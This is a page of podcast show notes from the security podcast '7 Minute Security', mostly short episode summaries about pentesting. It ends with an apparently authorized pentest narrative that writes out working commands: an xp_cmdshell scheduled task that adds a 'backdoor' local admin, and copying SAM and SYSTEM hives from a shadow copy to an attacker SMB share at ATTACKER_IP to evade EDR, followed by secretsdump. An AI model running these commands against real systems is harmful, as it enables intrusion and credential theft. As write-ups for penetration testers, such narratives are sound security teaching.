7MS #701: What I’m Working on This Week – Part 5
7 Minute Security
Hello friends! This week I’m talking about what I’m working on this week, including: Preparing a talk called Should You Hire AI to Run Your Next Pentest for the . Playing with (I will show this live on next week’s ). The Light Pentest logo contest has a winner!
info_outline
7MS #700: Pretender
7 Minute Security
Today is episode 700 of the 7MinSec podcast! Oh my gosh. My mom didn’t think we could do it, but we did. Instead of a big blowout with huge news, giveaways and special guests, today is a pretty standard issue episode with a (nearly) 7-minute run time! The topic of today’s episode is Pretender (which you can download and read a lot more about ). The tool authors explain the motivation behind the tool: “We designed pretender with the single purpose to obtain machine-in-the-middle positions combining the techniques of and only the name resolution...
info_outline
7MS #699: Pre-Travel Security Tips
7 Minute Security
Today we discuss some pre-travel tips you can use before hopping on a plane to start a work/personal adventure. Tips include: Updating the family DR/BCP plan Lightening your purse/wallet Validating/testing backups and restores Ensuring your auto coverage is up to snuff
info_outline
7MS #698: Baby’s First ProjectDiscovery
7 Minute Security
Today I give a quick review of the cloud version of (not a sponsor!).
info_outline
7MS #697: Pwning Ninja Hacker Academy – Part 4
7 Minute Security
Today your pal and mine Joe “The Machine” Skeen pwn one of the two domains! This pwnage included: Swiping service tickets in the name of high-priv users Dumping secrets from wmorkstations Disabling AV Extracting hashes of gMSA accounts We didn’t get the second domain pwned, and so I was originally thinking about doing a part 5 in November, but changed my mind. Going forward, I’m thinking about doing longer, all-in-one hacking livestreams where we cover things like NHA from start to finish. My first thought would be to do one long livestream where...
info_outline
7MS #696: Baby's First Security Ticketing System
7 Minute Security
In today’s episode: I got a new I really like as a security ticketing system (not a sponsor) The 2-day training was great. Highly recommend. I got inspired to take this class after watching the 1-hour primer .
info_outline
7MS #695: Tales of Pentest Pwnage - Part 78
7 Minute Security
Today’s tale of pentest pwnage involves: Using to dump sensitive goodies out of SCCM Using a specific fork of to find machines I could force password resets on (warning: don’t do this in prod…read !) Don’t forget to check out our weekly Tuesday TOOLSday – live every Tuesday at 10 a.m. over at !
info_outline
7MS #694: Tales of Pentest Pwnage – Part 77
7 Minute Security
Hey friends, today I talk about how fun it was two combine two cool pentest tactics, put them in a blender, and move from local admin to mid-tier system admin access (with full control over hundreds of systems)! The will help bring this to life as well.
info_outline
7MS #693: Pwning Ninja Hacker Academy – Part 3
7 Minute Security
This week your pal and mine Joe “The Machine” Skeen kept picking away at pwning . To review where we’ve been in parts 1 and 2: We found a SQL injection on a box called SQL, got a privileged Sliver beacon on it, and dumped mimikatz info From that dump, we used the SQL box hash to do a BloodHound run, which revealed that we had excessive permissions over the Computers OU We useddacledit.py to give ourselves too much permission on the Computers OU Today we: Did an RBCD attack against the WEB box Requested a service ticket...
info_outline
7MS #692: Tales of Pentest Pwnage – Part 76
7 Minute Security
Happy Friday! Today’s another hot pile of pentest pwnage. To make it easy on myself I’m going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: . I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can’t explain is the first relay got me a shell in...
info_outlineHappy Friday! Today’s another hot pile of pentest pwnage. To make it easy on myself I’m going to share the whole narrative that I wrote up for someone else:
I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/.
I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can’t explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance".
Turns out a DA wasn’t interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn’t copy reg hives out of it – EDR was unhappy.
In the end, the bizarre combo of things that did the trick was:
- Setup smbserver.py with username/password auth on my attacking box:
smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' - From the victim system, I did an mklink to the shadow copy:
mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\ - From command prompt on the victim system, I authenticated to my rogue share:
net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL! - Then I did a copy command for the first hive:
copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! - I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!!
- Finishing move:
secretsdump -sam sam.test -system sys.test LOCAL